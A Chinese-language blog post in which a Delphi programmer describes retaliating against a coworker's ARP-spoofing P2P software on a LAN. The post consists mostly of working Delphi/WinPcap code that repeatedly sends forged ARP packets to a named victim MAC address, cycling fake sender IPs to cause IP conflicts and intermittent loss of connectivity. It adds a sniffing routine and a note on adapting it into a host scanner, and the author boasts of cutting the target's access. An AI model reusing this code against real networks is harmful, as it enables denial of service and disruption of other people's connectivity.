delphi 程序员的反攻----打击P2P

2018-10-30

刚才调程序调的正紧,突然右下角出来个东西。。。ip冲突,一会儿就上不了网了,拖出Iris,一看,nnd,敢玩我。。。典型的p2p之类的软件,冒充所有的机子给我发arp包,每隔段时间还来个arp扫描。嘿嘿。我让他扫。
procedure TForm1.Button1Click(Sender: TObject);
var
ThreadID:DWord;
my_arp_packet:ARP_PACKET;
i:Integer;
ip_str:string;
low_ip,high_ip:Integer;
begin
For i:=0 to 2 do
begin
if strtoip(edit3.Text)[i]<>strtoip(edit2.Text)[i] then
begin
ShowMessage('检查您输入的ip是否正确,目前只支持同一网段');
Exit;
end;
end;
Low_ip:=strtoip(edit3.Text)[3];
high_ip:=strtoip(Edit2.Text)[3];
CreateThread(nil,0,@sniff,nil,0,ThreadID);
{fill the DLC}
my_arp_packet.DLC_HDR.Destination:=setMacStr('00-00-f0-7d-26-3f');//坏蛋的mac地址;
my_arp_packet.DLC_HDR.Source:=setMacStr('aa-bb-cc-dd-ee-ff'); //告诉他我的mac为aa-bb-cc-dd(原计划来个随机的,嘿嘿,我让他郁闷去)
my_arp_packet.DLC_HDR.Protocol:=$0608; // PROTO_ARP
{fill the ARP}
my_arp_packet.ARP_FRAM.HardwareType:=$0100;//以太网
my_arp_packet.ARP_FRAM.ProtocolType:=$0008;//上层为IP协议
my_arp_packet.ARP_FRAM.HLen:=$6;//MAC地址长度
my_arp_packet.ARP_FRAM.PLen:=$4;//IP地址长度;
my_arp_packet.ARP_FRAM.Operation:=$0100;//操作码,此处为请求
my_arp_packet.ARP_FRAM.SenderHA:=setMacStr(Edit1.Text);
my_arp_packet.ARP_FRAM.TargetHA:=setMacStr('00-00-00-00-00-00');
my_arp_packet.ARP_FRAM.TargetIP:=StrToIP('192.168.0.254');

//while True do
//my_arp_packet.DLC_HDR.Source:=setMacStr(Edit1.Text);
while True do
begin
for i:=low_ip to high_ip do
begin
ip_str:='192.168.'+inttostr(strtoip(edit3.Text)[2])+'.'+inttostr(i);
//不断切换我的ip,效果就是让他发现多了n台机子,mac都是aa-bb-cc(写到这里我想到,应该把
mac换成警告他的信息。。。嘻嘻)
my_arp_packet.ARP_FRAM.SenderIP:=StrToIP(ip_str);
if pcap_sendpacket(my_ppcap_t,@my_arp_packet,SizeOf(my_arp_packet))=0 then
Form1.Caption:='发送成功'+inttostr(i);
Sleep(100);
end;
end;
{以上为arp发包的过程,可以用一个CreateThread 创建线程}
procedure sniff;
var
netmaste:u_int;
fcode:Tbpf_program;
packet_filter:array[1..10]of Char;
begin

d:=@alldevs;
d:=d.next;
d:=d.next;
if d.address<>nil then// netmaste:=
netmaste:=d.address.netmask.sin_addr.S_addr
else
netmaste:=$FFFFFF;
//compile the filter ip and tcp and
if pcap_compile(my_ppcap_t,@fcode,PChar('arp'),1,netmaste)<0 then ShowMessage('compile the filter fall');
//set the filter
if pcap_setfilter(my_ppcap_t,@fcode)<0 then ShowMessage('Error setting the filter');
pcap_loop(my_ppcap_t,0,@packet_handle,nil);//
end;

{此处为嗅探的过程,如果先创建一个线程开始嗅探,并将上面发包的mac目的地址,就是以太网头部的前6个字节换成ff-ff-ff-ff-ff-ff,pcap_loop的回调函数处理mac_ip列表的对应关系,则此程序即是一个内网存活机子扫描的程序,}
运行效果不要说滴,嘻嘻,他的机子看到一个奇怪的现象,而且还会不断的弹出ip冲突。上网也是时断时好,如果不是我程序手下留情sleep(200)他就别上了。。吼吼~~~
阅读18